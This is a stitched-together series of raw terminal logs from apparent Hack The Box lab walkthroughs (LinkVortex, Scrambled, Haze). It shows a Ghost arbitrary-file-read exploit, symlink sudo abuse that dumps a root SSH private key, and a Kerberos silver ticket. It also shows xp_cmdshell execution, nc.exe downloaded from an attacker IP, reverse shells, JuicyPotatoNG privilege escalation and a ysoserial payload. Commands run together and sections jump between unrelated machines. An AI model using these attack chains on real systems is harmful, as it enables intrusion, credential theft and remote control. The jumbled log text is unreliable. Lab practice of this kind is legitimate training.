[02:10:36] 301 - 249B - /.git/refs/tags -> http://dev.linkvortex.htb/.git/refs/tags/
[02:10:36] 200 - 691KB - /.git/index❯ python3 /opt/GitHack/GitHack.py http://dev.linkvortex.htb/.git/ 2>/dev/null
[+] Download and parse index file ...
...[snip]...
[+] ghost/core/core/server/api/endpoints/images.js
[+] ghost/core/core/server/api/endpoints/index.js
[+] ghost/core/core/server/api/endpoints/integrations.js
...[snip]...❯ tree
.
├── dev.linkvortex.htb
│ ├── Dockerfile.ghost
│ └── ghost
│ └── core
│ └── test
│ └── regression
│ └── api
│ └── admin
│ └── authentication.test.js
└── index
8 directories, 3 files❯ cat dev.linkvortex.htb/ghost/core/test/regression/api/admin/authentication.test.js | grep password
const password = 'OctopiFociPilfer45';
password,
await agent.loginAs(email, password);
password: 'thisissupersafe',
password: 'thisissupersafe',
const password = 'thisissupersafe';
password,
await cleanAgent.loginAs(email, password);
password: 'lel123456',
password: '12345678910',
password: '12345678910',
...[snip]...❯ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028; cd Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
Clonando en 'Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 20 (delta 3), reused 9 (delta 2), pack-reused 0 (from 0)
Recibiendo objetos: 100% (20/20), 8.38 KiB | 1.67 MiB/s, listo.
Resolviendo deltas: 100% (3/3), listo.❯ ./CVE-2023-40028 -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45' -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash❯ tree
.
├── dev.linkvortex.htb
│ ├── Dockerfile.ghost
│ └── ghost
│ └── core
│ └── test
│ └── regression
│ └── api
│ └── admin
│ └── authentication.test.js
└── index
8 directories, 3 files
❯ cat dev.linkvortex.htb/Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]❯ ./CVE-2023-40028 -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45' -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
Enter the file path to read (or type 'exit' to quit):❯ sshpass -p 'fibber-talented-worth' ssh bob@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jan 15 02:05:51 2025 from 10.10.16.5
bob@linkvortex:~$ cat user.txt
b0c86a993693********************bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.pngbob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fibob@linkvortex:~$ ln -s /root/root.txt gzzcoo.txt
bob@linkvortex:~$ ln -s /home/bob/gzzcoo.txt gzzcoo.png
bob@linkvortex:~$ ls -l
total 4
lrwxrwxrwx 1 bob bob 20 Jan 15 02:27 gzzcoo.png -> /home/bob/gzzcoo.txt
lrwxrwxrwx 1 bob bob 14 Jan 15 02:27 gzzcoo.txt -> /root/root.txt
-rw-r----- 1 root bob 33 Jan 15 00:55 user.txt
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh gzzcoo.png
Link found [ gzzcoo.png ] , moving it to quarantine
Content:
6cbb92bb3649********************bob@linkvortex:~$ ln -s /root/.ssh/id_rsa gzzcoo2.txt
bob@linkvortex:~$ ln -s /home/bob/gzzcoo2.txt gzzcoo.png
bob@linkvortex:~$ ls -l
total 4
lrwxrwxrwx 1 bob bob 21 Jan 19 15:17 gzzcoo.png -> /home/bob/gzzcoo2.txt
lrwxrwxrwx 1 bob bob 17 Jan 19 15:17 gzzcoo2.txt -> /root/.ssh/id_rsa
-rw-r----- 1 root bob 33 Jan 19 15:14 user.txt
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh gzzcoo.png
Link found [ gzzcoo.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
bob@linkvortex:~$bob@linkvortex:~$ chmod 600 id_rsa
bob@linkvortex:~$ ssh -i id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# cat /root/root.txt
1b6e7597655d8486eafb553990e62b8e
root@linkvortex:~#nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.168 -oG allPortsldapsearch -x -H ldap://10.10.11.168 -s base | grep defaultNamingContextcatnp /etc/hosts | grep scrm.localcatnp users
kerbrute userenum --dc 10.10.11.168 -d scrm.local userskerbrute userenum --dc 10.10.11.168 -d scrm.local /opt/kerberos_enum_userlists/A-ZSurnames.txtcatnp users
GetNPUsers.py -no-pass -usersfile users scrm.local/ 2>/dev/nullkerbrute bruteuser --dc 10.10.11.168 -d scrm.local users ksimpsocatnp credentials.txtimpacket-GetUserSPNs -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson -requestimpacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -dc-host dc1.scrm.local 2>/dev/nullimpacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -dc-host dc1.scrm.local -request 2>/dev/nullcatnp hash.txthashcat hash.txt /usr/share/wordlists/rockyou.txtcatnp credentials.txtmssqlclient.py scrm.local/sqlsvc:Pegasus@10.10.11.168 2>/dev/null
mssqlclient.py scrm.local/sqlsvc:Pegasus@10.10.11.168 -windows-auth 2>/dev/nullimpacket-getTGT scrm.local/sqlsvc:Pegasus60
KRB5CCNAME=sqlsvc.ccache mssqlclient.py dc1.scrm.local -k
impacket-getTGT scrm.local/ksimpson:ksimpson
KRB5CCNAME=ksimpson.ccache mssqlclient.py dc1.scrm.local -kgetPac.py scrm.local/ksimpson:ksimpson -targetUser Administrator 2>/dev/null | grep "Domain SID"
catnp credentials.txtticketer.py -spn MSSQLSvc/dc1.scrm.local -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -dc-ip dc1.scrm.local -nthash b999a16500b87d17ec7f2e2a68778f05 Administrator -domain scrm.local 2>/dev/nullKRB5CCNAME=Administrator.ccache mssqlclient.py dc1.scrm.local -kSP_CONFIGURE "show advanced options", 1
RECONFIGURE
SP_CONFIGURE "xp_cmdshell", 1
RECONFIGURE
xp_cmdshell "whoami"locate nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
python3 -m http.server 80xp_cmdshell "curl 10.10.14.13/nc.exe -o C:\Temp\netcat.exe"rlwrap nc -nlvp 443
xp_cmdshell "C:\Temp\netcat.exe -e cmd.exe 10.10.14.13 443"whoami /privmv /home/kali/Descargas/JuicyPotatoNG.zip .
unzip JuicyPotatoNG.zip
mv JuicyPotatoNG.exe privesc.exe
python3 -m http.server 80
mkdir privesc
cd privesc
curl 10.10.14.13/privesc.exe -o privesc.exe.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\netcat.exe -e cmd 10.0.14.13 443"SELECT name FROM master.sys.databases;SELECT table_name FROM ScrambleHR.information_schema.tables;USE ScrambleHR
SELECT * FROM UserImport;$user = 'scrm.local\miscsvc'
$password = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $password)whoami
Invoke-Command -ComputerName DC1 -Credential $cred -ScriptBlock { whoami }rlwrap nc -nlvp 443
Invoke-Command -ComputerName DC1 -Credential $cred -ScriptBlock { C:\Temp\netcat.exe -e cmd 10.10.14.13 443 }smbclient.py scrm.local/miscsvc:ScrambledEggs9900@dc1.scrm.local -k 2>/dev/null.\ysoserial.exe -g WindowsIdentity -f BinaryFormatter -o base64 -c "C:\Temp\netcat.exe -e cmd 10.10.14.13 443" smbserver.py smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2supportnet use x: \\192.168.46.128\smbFolder /user:gzzcoo gzzcoo123
copy command.txt x:\command.txtls -l | grep command
catnp command.txt ; echorlwrap nc -nlvp 443
nc 10.10.11.168 4411
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA9AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMkFVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUVNNlhGUmxiWEJjYm1WMFkyRjBMbVY0WlNBdFpTQmpiV1FnTVRBdU1UQXVNVFF1TVRNZ05EUXpJaUJUZEdGdVpHRnlaRVZ5Y205eVJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlRkR0Z1WkdGeVpFOTFkSEIxZEVWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1ZYTmxjazVoYldVOUlpSWdVR0Z6YzNkdmNtUTlJbnQ0T2s1MWJHeDlJaUJFYjIxaGFXNDlJaUlnVEc5aFpGVnpaWEpRY205bWFXeGxQU0pHWVd4elpTSWdSbWxzWlU1aGJXVTlJbU50WkNJZ0x6NE5DaUFnSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdQQzl6WkRwUWNtOWpaWE56UGcwS0lDQThMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVQWW1wbFkzUkpibk4wWVc1alpUNE5Dand2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5UGdzPQs=nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.52 -oG allPortsnmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.77 -oG allPorts❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.129.140.67 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:49 CEST
Initiating SYN Stealth Scan at 10:49
Scanning 10.129.140.67 [65535 ports]
Discovered open port 445/tcp on 10.129.140.67
Discovered open port 135/tcp on 10.129.140.67
Discovered open port 53/tcp on 10.129.140.67
Discovered open port 139/tcp on 10.129.140.67
Discovered open port 464/tcp on 10.129.140.67
Discovered open port 63777/tcp on 10.129.140.67
Discovered open port 49667/tcp on 10.129.140.67
Discovered open port 49664/tcp on 10.129.140.67
Discovered open port 49668/tcp on 10.129.140.67
Discovered open port 47001/tcp on 10.129.140.67
Discovered open port 3268/tcp on 10.129.140.67
Discovered open port 49672/tcp on 10.129.140.67
Discovered open port 49665/tcp on 10.129.140.67
Discovered open port 49665/tcp on 10.129.140.67
Discovered open port 64517/tcp on 10.129.140.67
Discovered open port 64512/tcp on 10.129.140.67
Discovered open port 8089/tcp on 10.129.140.67
Discovered open port 3269/tcp on 10.129.140.67
Discovered open port 49681/tcp on 10.129.140.67
Discovered open port 8000/tcp on 10.129.140.67
Discovered open port 5985/tcp on 10.129.140.67
Discovered open port 49666/tcp on 10.129.140.67
Discovered open port 389/tcp on 10.129.140.67
Discovered open port 8088/tcp on 10.129.140.67
Discovered open port 64531/tcp on 10.129.140.67
Discovered open port 64551/tcp on 10.129.140.67
Discovered open port 88/tcp on 10.129.140.67
Discovered open port 88/tcp on 10.129.140.67
Discovered open port 9389/tcp on 10.129.140.67
Discovered open port 593/tcp on 10.129.140.67
Discovered open port 49684/tcp on 10.129.140.67
Discovered open port 636/tcp on 10.129.140.67
Completed SYN Stealth Scan at 10:49, 21.56s elapsed (65535 total ports)
Nmap scan report for 10.129.140.67
Host is up, received user-set (0.049s latency).
Scanned at 2025-03-30 10:49:35 CEST for 21s
Not shown: 65256 closed tcp ports (reset), 249 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
8000/tcp open http-alt syn-ack ttl 127
8088/tcp open radan-http syn-ack ttl 127
8089/tcp open unknown syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49672/tcp open unknown syn-ack ttl 127
49681/tcp open unknown syn-ack ttl 127
49684/tcp open unknown syn-ack ttl 127
63777/tcp open unknown syn-ack ttl 127
64512/tcp open unknown syn-ack ttl 127
64517/tcp open unknown syn-ack ttl 127
64531/tcp open unknown syn-ack ttl 127
64551/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.67 seconds
Raw packets sent: 75837 (3.337MB) | Rcvd: 67193 (2.688MB)












































































































❯ export IP=10.10.11.75
❯ iRecon $IP


















wmiexecpsexec






❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.129.140.67
[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,49672,49681,49684,63777,64512,64517,64531,64551
[*] Ports copied to clipboard❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,49672,49681,49684,63777,64512,64517,64531,64551 10.129.140.67 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:51 CEST
Nmap scan report for 10.129.140.67
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-30 09:10:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8000/tcp open http Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.140.67:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open ssl/http Splunkd httpd
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49681/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49684/tcp open msrpc Microsoft Windows RPC
63777/tcp open msrpc Microsoft Windows RPC
64512/tcp open msrpc Microsoft Windows RPC
64517/tcp open msrpc Microsoft Windows RPC
64531/tcp open msrpc Microsoft Windows RPC
64551/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2022 (95%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2019 (92%), Microsoft Windows 10 1703 or Windows 11 21H2 (91%), Microsoft Windows Server 2012 (91%), Microsoft Windows 10 1703 (90%), Windows Server 2019 (90%), Microsoft Windows 10 1607 (89%), Microsoft Windows 10 1511 (89%)
No exact OS matches for host (test conditions non-ideal).
